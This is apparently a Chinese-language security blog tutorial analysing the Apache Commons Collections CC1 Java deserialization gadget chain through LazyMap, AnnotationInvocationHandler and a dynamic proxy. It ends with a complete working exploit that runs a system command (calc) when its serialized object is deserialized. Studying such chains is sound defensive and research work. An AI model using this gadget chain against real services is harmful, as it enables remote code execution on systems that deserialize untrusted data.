Java安全 CC链1分析
前言
在看这篇文章前,可以看下我的上一篇文章,了解下cc链1的核心与环境配置
Java安全 CC链1分析
前面我们已经讲过了CC链1的核心ChainedTransformer的transform链,并且用到了TransformedMap类中的方法触发了这条链transform的方法,但是还有一条链可以触发其transform方法,这条链用到了 LazyMap类
这条链用到了大量的反射与代理的知识,建议在看本文章前需要提前补充或复习
CC链分析
CC链1核心
首先我们回顾下cc链1的核心
packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;publicclass demo1{publicstaticvoidmain(String[] args)throwsException{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain =newChainedTransformer(transformers);
transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}}
我们接下来的目标就是想法设法调用以上代码中 transformerChain 对象的 transform 方法,从而遍历循环直到命令执行。
LazyMap类
我们首先还是选中 transform 方法,右键选择查找用法
这次我们来到了 LazyMap 类当中的 get 方法
LazyMap类中的get方法的代码如下
publicObjectget(Object key){// create value for key if key is not currently in the mapif(map.containsKey(key)==false){Object value = factory.transform(key);//关键
map.put(key, value);return value;}return map.get(key);}
经分析得,当满足
map.containsKey(key) == false
时,便会执行
factory对象
的
transform方法
要想满足该语句,我们传入一个map数组中不存在的key键名即可
接下来我们看下 LazyMap 类的构造方法如下
protectedLazyMap(Map map,Transformer factory){super(map);if(factory ==null){thrownewIllegalArgumentException("Factory must not be null");}this.factory = factory;}
发现
get 方法
中的
factory 变量
是可控的,可以赋值为上文的
transformerChain 对象
(cc链1核心),但是该构造方法是受保护的类型,并不能直接调用创建对象
然后我们往上找到了
decorate
方法,代码如下
publicstaticMapdecorate(Map map,Transformer factory){returnnewLazyMap(map, factory);}
发现可以通过调用这个静态方法,获得一个 LazyMap 对象,并且 map 和 factory 参数可控,这样如何获取 LazyMap 对象的问题便得到解决
我们先写一个demo试试这里的
get方法
是否真的可以触发cc链1
packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclass main2{publicstaticvoidmain(String[] args)throwsException{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();Map decorate =LazyMap.decorate(hash, chainedTransformer);
decorate.get("key");}}
可以看到demo成功运行弹出计算器
AnnotationInvocationHandler类
接下来我们寻找如何触发 LazyMap 对象的get方法,我们同样右键查看用法,可以看到结果有很多,为了节约时间我们直接来到
AnnotationInvocationHandler类
路径如下
外部库 -> jdk1.8_65 -> rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类
AnnotationInvocationHandler类
在 TransformedMap类所触发的cc链1中用到过,这里我们用到其
invoke 方法
,该方法关键代码如下
publicObjectinvoke(Object proxy,Method method,Object[] args){String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();if(member.equals("equals")&& paramTypes.length ==1&& paramTypes[0]==Object.class)returnequalsImpl(args[0]);if(paramTypes.length !=0)thrownewAssertionError("Too many parameters for an annotation method");switch(member){case"toString":returntoStringImpl();case"hashCode":returnhashCodeImpl();case"annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);
经分析,我们需要满足前两条 if 语句,才会触发
memberValues 对象
的
get方法
,否则会提前返回值
第一个if:
if(member.equals("equals")&& paramTypes.length ==1&& paramTypes[0]==Object.class)
我们调用方法的名字不为 equals即可绕过
第二个if:
if(paramTypes.length !=0)
我们无参调用方法即可绕过
接下来我们分析如何将
LazyMap对象
赋值给该类的
memberValues变量
,我们查看构造方法,发现该方法是私有的,我们无法调用
AnnotationInvocationHandler(Class<?extendsAnnotation> type,Map<String,Object> memberValues){Class<?>[] superInterfaces = type.getInterfaces();if(!type.isAnnotation()||
superInterfaces.length !=1||
superInterfaces[0]!=java.lang.annotation.Annotation.class)thrownewAnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}
然后我们看一下
invoke方法
所属类的定义,如下:
classAnnotationInvocationHandlerimplementsInvocationHandler,Serializable{
……
}
发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写****invoke 方法,并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法。
也就是说我们只需要创建一个 代理对象,通过反射让其代理处理器为
AnnotationInvocationHandler类
,然后无参调用代理对象的任意方法,即可触发invoke方法
在Java的动态代理机制中,在执行代理对象中的方法之前,会自动执行其代理处理器中的invoke方法
这样触发 invoke 方法的问题便解决了,接下来我们只需创建一个使用
AnnotationInvocationHandler类
作为处理器的代理对象,并无参调用该代理对象中的方法即可,创建代理对象代码如下
Map proxyInstance =(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),newClass[]{Map.class}, instance);
接下来便是要解决——如何无参调用
proxyInstance代理对象
中的方法
这里实际上只要是找到无参调用对象中方法的地方即可,不限制在哪个类,但终点要为readObject方法
然后我们就近在这个类中,寻找一个无参调用
memberValues中方法
的方法,我们往下找到了
readObject方法
,其所用到的关键代码,还是和TransformedMap类所触发的cc链1中一样,为下面的for循环
找到readObject方法也就意味着找到了cc链1的起点
for(Map.Entry<String,Object> memberValue : memberValues.entrySet()){String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if(memberType !=null){// i.e. member still existsObject value = memberValue.getValue();if(!(memberType.isInstance(value)||
value instanceofExceptionProxy)){
memberValue.setValue(newAnnotationTypeMismatchExceptionProxy(
value.getClass()+"["+ value +"]").setMember(
annotationType.members().get(name)));}}}
我们发现for循环中的该语句可实现对
memberValues变量
中的方法实现无参调用
for(Map.Entry<String,Object> memberValue : memberValues.entrySet())
但是我们发现
AnnotationInvocationHandler类
是私有的,我们可以通过反射获取构造方法进而初始化,然后构造函数的
memberValue变量值
设置为我们的代理对象即可
整理下思路 我们先用
AnnotationInvocationHandler类
作为代理处理器创建了一个代理对象
proxyInstance
,然后又通过反射创建了一个
AnnotationInvocationHandler对象
,并将成员属性设置为代理对象
proxyInstance
,目的是为了在
AnnotationInvocationHandler对象
中的
readObject方法
里面对代理对象
proxyInstance
(
memberValues变量
)实现无参调用,从而触发代理处理器
AnnotationInvocationHandler类
中的
invoke方法
,进而触发
get方法
,最后触发
transform方法
,从而实现cc链1
完整exp:
cc链1(Lazymap)完整exp:
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.InvocationTargetException;importjava.lang.reflect.Proxy;importjava.nio.file.Files;importjava.nio.file.Paths;importjava.util.HashMap;importjava.util.Map;publicclass cc11 {publicstaticvoidmain(String[] args)throwsIOException,NoSuchMethodException,InvocationTargetException,IllegalAccessException,ClassNotFoundException,InstantiationException{//定义一系列Transformer对象,组成一个变换链Transformer[] transformers =newTransformer[]{//返回Runtime.classnewConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),//通过反射调用invoke()方法newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),//通过反射调用exec()方法启动计算器newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();//使用chainedTransformer装饰HashMap生成新的MapMap decorate =LazyMap.decorate(hash, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);//设置构造方法为可访问的
constructor.setAccessible(true);//通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象InvocationHandler instance =(InvocationHandler) constructor.newInstance(Override.class, decorate);//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instanceMap proxyInstance =(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),newClass[]{Map.class}, instance);//再次通过反射创建代理对象Object o = constructor.newInstance(Override.class, proxyInstance);serialize(o);unserialize("1.bin");}publicstaticvoidserialize(Object obj)throwsIOException{ObjectOutputStream out =newObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);}publicstaticvoidunserialize(String filename)throwsIOException,ClassNotFoundException{ObjectInputStream out =newObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();}}
运行成功弹出计算器
版权归原作者 Elitewa 所有, 如有侵权,请联系我们删除。